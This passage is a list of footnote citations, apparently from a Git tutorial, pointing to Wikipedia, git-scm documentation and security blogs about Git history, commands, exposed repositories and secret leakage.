(Wikipedia, 2022), https://en.wikipedia.org/wiki/Linux_kernel↩︎
-
(Wikipedia, 2022), https://en.wikipedia.org/wiki/Linus_Torvalds↩︎
-
(Wikipedia, 2022), https://en.wikipedia.org/wiki/Usenet_newsgroup↩︎
-
(Wikipedia, 2022), https://en.wikipedia.org/wiki/Mailing_list↩︎
-
(Wikipedia, 2022), https://en.wikipedia.org/wiki/Concurrent_Versions_System↩︎
-
(Wikipedia, 2022), https://en.wikipedia.org/wiki/Apache_Subversion↩︎
-
(Wikipedia, 2022), https://en.wikipedia.org/wiki/BitKeeper↩︎
-
(Wikipedia, 2022), https://en.wikipedia.org/wiki/Larry_McVoy↩︎
-
(Wikipedia, 2022), https://en.wikipedia.org/wiki/Andrew_Tridgell↩︎
-
(Wikipedia, 2022), https://en.wikipedia.org/wiki/Samba_(software)↩︎
-
(Wikipedia, 2022), https://en.wikipedia.org/wiki/Git↩︎
-
(GitHub, 2021), https://github.com/git/git/commit/e83c5163316f89bfbde7d9ab23ca2e25604af290↩︎
-
(GitHub, 2021), https://github.com/git/git/commits/master?after=30cc8d0f147546d4dd77bf497f4dec51e7265bd8+67135&branch=master&qualified_name=refs%2Fheads%2Fmaster↩︎
-
(GeeksForGeeks, 2021), https://www.geeksforgeeks.org/history-of-git/↩︎
- ^git_reference2 ↩︎
- ^git_reference3 ↩︎
- ^git_reference4 ↩︎
- ^git_reference5 ↩︎
- ^git_reference6 ↩︎
- ^git_reference7 ↩︎
-
(Wikipedia, 2022), https://en.wikipedia.org/wiki/Free_and_open-source_software↩︎
-
(Wikipedia, 2022), https://en.wikipedia.org/wiki/GNU_General_Public_License↩︎
-
(GitHub, 2021), https://github.com/git/git↩︎
-
(YouTube, 2022), https://www.youtube.com/watch?v=lW8XcqtUvVE↩︎
-
(Git-Scm, 2022), https://git-scm.com/book/en/v2/Getting-Started-What-is-Git%3F↩︎↩︎
-
(Wikipedia, 2022), https://en.wikipedia.org/wiki/Data_structure↩︎↩︎
-
(Wikipedia, 2022), https://en.wikipedia.org/wiki/Object_(computer_science)↩︎↩︎
-
(Wikipedia, 2022), https://en.wikipedia.org/wiki/Database↩︎↩︎
-
(Wikipedia, 2022), https://en.wikipedia.org/wiki/Computer_programming↩︎↩︎
-
(Wikipedia, 2022), https://en.wikipedia.org/wiki/Cryptography↩︎↩︎
-
(Git-Scm, 2022), https://git-scm.com/docs/index-format↩︎↩︎
-
(Wikipedia, 2022), https://en.wikipedia.org/wiki/Binary_large_object↩︎
-
(Git-Scm, 2022), https://git-scm.com/book/en/v2/Getting-Started-Installing-Git↩︎
-
(Git-Scm, 2022), https://git-scm.com/docs/git-help↩︎
-
(Git-Scm, 2022), https://git-scm.com/docs/git-config↩︎
-
(Git-Scm, 2022), https://git-scm.com/book/en/v2/Git-Internals-Plumbing-and-Porcelain↩︎
-
(man7.org, 2022), https://man7.org/linux/man-pages/man1/watch.1.html↩︎
-
(Git-Scm, 2022), https://git-scm.com/docs/git-status↩︎
-
(Git-Scm, 2022), https://git-scm.com/docs/git-add↩︎
-
(Git-Scm, 2022), https://git-scm.com/docs/git-cat-file↩︎
-
(Git-Scm, 2022), https://git-scm.com/docs/git-commit↩︎
-
(freeCodeCamp, 2019), https://www.freecodecamp.org/news/writing-good-commit-messages-a-practical-guide/↩︎
-
(Git-Scm, 2022), https://git-scm.com/docs/git-hash-object↩︎
-
(Wikipedia, 2022), https://en.wikipedia.org/wiki/Standard_streams#Standard_input_(stdin)↩︎
-
(Git-Scm, 2022), https://git-scm.com/docs/git-update-index↩︎
-
(Git-Scm, 2022), https://git-scm.com/docs/git-write-tree↩︎
-
(Git-Scm, 2022), https://git-scm.com/docs/git-mktree↩︎
-
(Git-Scm, 2022), https://git-scm.com/docs/git-commit-tree/en↩︎
-
(Git-Scm, 2022), https://git-scm.com/docs/git-update-ref/en↩︎
-
(Wikipedia, 2022), https://en.wikipedia.org/wiki/GitLab↩︎↩︎
-
(Wikipedia, 2022), https://en.wikipedia.org/wiki/DevOps↩︎
-
(Wikipedia, 2022), https://en.wikipedia.org/wiki/Bitbucket↩︎
-
(Wikipedia, 2022), https://en.wikipedia.org/wiki/GitHub↩︎↩︎
-
(Git-Scm, 2022), https://git-scm.com/docs/git-clone↩︎
-
(Git-Scm, 2022), https://git-scm.com/docs/git-remote↩︎
-
(Git-Scm, 2022), https://git-scm.com/docs/git-push↩︎
-
(Git-Scm, 2022), https://git-scm.com/docs/git-fetch↩︎
-
(Git-Scm, 2022), https://git-scm.com/docs/git-diff↩︎
-
(Git-Scm, 2022), https://git-scm.com/docs/git-merge↩︎↩︎
-
(Git-Scm, 2022), https://git-scm.com/docs/git-pull↩︎
-
(Git-Scm, 2022), https://git-scm.com/docs/git-branch↩︎
-
(Git-Scm, 2022), https://git-scm.com/docs/git-checkout↩︎
-
(Git-Scm, 2022), https://git-scm.com/docs/git-stash↩︎
-
(Git-Scm, 2022), https://git-scm.com/docs/merge-strategies↩︎
-
(Git-Scm, 2022), https://git-scm.com/docs/git-rebase↩︎
-
(Git-Scm, 2022), https://git-scm.com/docs/git-cherry-pick↩︎
-
(Git-Scm, 2022), https://git-scm.com/docs/git-log↩︎
-
(Git-Scm, 2022), https://git-scm.com/docs/pretty-formats↩︎
-
(Git-Scm, 2022), https://git-scm.com/docs/git-restore↩︎
-
(Git-Scm, 2022), https://git-scm.com/docs/git-revert↩︎
-
(Git-Scm, 2022), https://git-scm.com/docs/git-reset↩︎
-
(Wikipedia, 2022), https://en.wikipedia.org/wiki/Wget↩︎
-
(GitHub, 2022), https://github.com/liamg/gitjacker↩︎
-
(hackerone, 2022), https://hackerone.com/reports/218465↩︎
- ^git_exposedGitEx2 ↩︎
-
(North Carolina State University Symposium, 2019), https://www.ndss-symposium.org/wp-content/uploads/2019/02/ndss2019_04B-3_Meli_paper.pdf↩︎
-
(GitGuardian), https://blog.gitguardian.com/secrets-credentials-api-git/↩︎
-
(Tillson Galloway, 2020), https://tillsongalloway.com/finding-sensitive-information-on-github/index.html↩︎
-
(Ostorlab, 2020), https://blog.ostorlab.co/hardcoded-secrets.html↩︎
-
(This Dot Labs, 2022), https://www.thisdot.co/blog/a-guide-to-keeping-secrets-out-of-git-repositories↩︎
-
(Gitleaks, 2022), https://gitleaks.io/↩︎
-
(Wikipedia, 2022), https://en.wikipedia.org/wiki/Percent-encoding↩︎
-
(Wikipedia, 2022), https://en.wikipedia.org/wiki/Web_API↩︎
-
(Wikipedia, 2022), https://en.wikipedia.org/wiki/Personal_access_token↩︎
-
(Wikipedia, 2022), https://en.wikipedia.org/wiki/Passphrase↩︎
-
(Wikipedia, 2022), https://en.wikipedia.org/wiki/Ssh-agent↩︎
-
(Wikipedia, 2022), https://en.wikipedia.org/wiki/Multi-factor_authentication↩︎
-
(Git-Scm, 2022), https://git-scm.com/docs/gitignore↩︎↩︎
-
(Wikipedia, 2022), https://en.wikipedia.org/wiki/Whitelist↩︎
-
(Wikipedia, 2022), https://en.wikipedia.org/wiki/Blacklist_(computing)↩︎
-
(Wikipedia, 2022), https://en.wikipedia.org/wiki/Non-repudiation↩︎
-
(Git-Scm, 2022), https://git-scm.com/book/en/v2/Git-Tools-Signing-Your-Work↩︎
-
(Wikipedia, 2022), https://en.wikipedia.org/wiki/GNU_Privacy_Guard↩︎
-
(Wikipedia, 2022), https://en.wikipedia.org/wiki/Authentication↩︎
-
(Wikipedia, 2022), https://en.wikipedia.org/wiki/Authorization↩︎
-
(Git-Scm, 2022), https://git-scm.com/book/en/v2/Customizing-Git-Git-Hooks↩︎
-
(Wikipedia, 2022), https://en.wikipedia.org/wiki/Access-control_list↩︎